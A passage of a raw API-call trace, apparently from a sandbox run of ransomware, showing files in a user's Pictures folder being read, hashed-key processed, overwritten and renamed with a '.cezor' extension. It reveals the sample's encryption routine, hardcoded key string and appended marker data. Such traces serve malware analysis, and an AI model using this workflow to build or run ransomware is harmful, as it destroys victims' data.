(hObject=0x5c4) returned 1 [0061.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0061.214] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0061.214] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0061.214] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\60jL.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\60jl.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\60jL.jpg.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\60jl.jpg.cezor")) returned 1 [0061.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.215] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.216] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1fb800, ftCreationTime.dwHighDateTime=0x1d4c66e, ftLastAccessTime.dwLowDateTime=0xcf8ecdf0, ftLastAccessTime.dwHighDateTime=0x1d4d16d, ftLastWriteTime.dwLowDateTime=0xcf8ecdf0, ftLastWriteTime.dwHighDateTime=0x1d4d16d, nFileSizeHigh=0x0, nFileSizeLow=0x129c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AfHqN B.gif", cAlternateFileName="AFHQNB~1.GIF")) returned 1 [0061.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e) returned 0x301db48 [0061.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.216] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\AfHqN B.gif") returned=".gif" [0061.216] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\AfHqN B.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\afhqn b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.216] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=76224) returned 1 [0061.216] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.219] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1299a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.219] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.219] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.220] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x129c0, lpOverlapped=0x0) returned 1 [0061.220] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.220] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.220] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.220] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.221] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.221] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.221] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.221] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.221] GetLastError () returned 0x0 [0061.221] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.221] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x129c0) returned 0x3132418 [0061.221] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.222] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x129bb, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x129bb, lpOverlapped=0x0) returned 1 [0061.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0061.222] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x129c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0061.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.222] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.222] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.222] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.222] CloseHandle (hObject=0x5c4) returned 1 [0061.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0061.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0061.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0061.223] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\AfHqN B.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\afhqn b.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\AfHqN B.gif.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\afhqn b.gif.cezor")) returned 1 [0061.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.224] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.225] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x644d4c50, ftCreationTime.dwHighDateTime=0x1d4cbba, ftLastAccessTime.dwLowDateTime=0x13e9be20, ftLastAccessTime.dwHighDateTime=0x1d4d10e, ftLastWriteTime.dwLowDateTime=0x13e9be20, ftLastWriteTime.dwHighDateTime=0x1d4d10e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gJs687PmdwJ", cAlternateFileName="GJS687~1")) returned 1 [0061.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0061.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fedd78 [0061.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0061.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ebc8 [0061.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ebc8 | out: hHeap=0x670000) returned 1 [0061.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0061.225] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb48db730, ftCreationTime.dwHighDateTime=0x1d4c88c, ftLastAccessTime.dwLowDateTime=0xe51af700, ftLastAccessTime.dwHighDateTime=0x1d4cf2b, ftLastWriteTime.dwLowDateTime=0xe51af700, ftLastWriteTime.dwHighDateTime=0x1d4cf2b, nFileSizeHigh=0x0, nFileSizeLow=0x12411, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="u3J7SbbSL4_idzLNM.bmp", cAlternateFileName="U3J7SB~1.BMP")) returned 1 [0061.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0061.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.225] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\u3J7SbbSL4_idzLNM.bmp") returned=".bmp" [0061.225] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\u3J7SbbSL4_idzLNM.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\u3j7sbbsl4_idzlnm.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.225] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=74769) returned 1 [0061.225] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.228] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x123eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.228] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.229] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.229] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.229] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x12411, lpOverlapped=0x0) returned 1 [0061.229] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.229] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.229] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.229] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.229] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.230] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.230] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.230] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.230] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.230] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.230] GetLastError () returned 0x0 [0061.230] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.230] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.230] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.230] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x12410) returned 0x3132418 [0061.231] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.231] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x1240c, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x1240c, lpOverlapped=0x0) returned 1 [0061.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0061.231] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12411, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.231] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.231] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.231] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.232] CloseHandle (hObject=0x5c4) returned 1 [0061.232] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301d980 [0061.232] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0061.232] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301d980 | out: hHeap=0x670000) returned 1 [0061.233] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\u3J7SbbSL4_idzLNM.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\u3j7sbbsl4_idzlnm.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\u3J7SbbSL4_idzLNM.bmp.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\u3j7sbbsl4_idzlnm.bmp.cezor")) returned 1 [0061.233] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.233] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.234] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.234] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9641310, ftCreationTime.dwHighDateTime=0x1d4cfe7, ftLastAccessTime.dwLowDateTime=0x6fc78e70, ftLastAccessTime.dwHighDateTime=0x1d4d005, ftLastWriteTime.dwLowDateTime=0x6fc78e70, ftLastWriteTime.dwHighDateTime=0x1d4d005, nFileSizeHigh=0x0, nFileSizeLow=0x18f94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UYXfotd1.png", cAlternateFileName="")) returned 1 [0061.234] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.234] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e) returned 0x301db48 [0061.234] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.234] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\UYXfotd1.png") returned=".png" [0061.234] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\UYXfotd1.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\uyxfotd1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.234] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=102292) returned 1 [0061.234] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.237] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x18f6e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.237] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.238] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.238] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.238] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.238] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x18f94, lpOverlapped=0x0) returned 1 [0061.238] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.238] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.238] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.238] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.238] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.239] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.239] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.239] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.239] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.239] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.239] GetLastError () returned 0x0 [0061.239] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.239] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.239] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18f90) returned 0x3132418 [0061.240] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.240] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x18f8f, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x18f8f, lpOverlapped=0x0) returned 1 [0061.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0061.240] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x18f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0061.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.241] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.241] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.241] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.241] CloseHandle (hObject=0x5c4) returned 1 [0061.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ebc8 [0061.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0061.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ebc8 | out: hHeap=0x670000) returned 1 [0061.242] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\UYXfotd1.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\uyxfotd1.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\UYXfotd1.png.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\uyxfotd1.png.cezor")) returned 1 [0061.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.245] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.246] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: 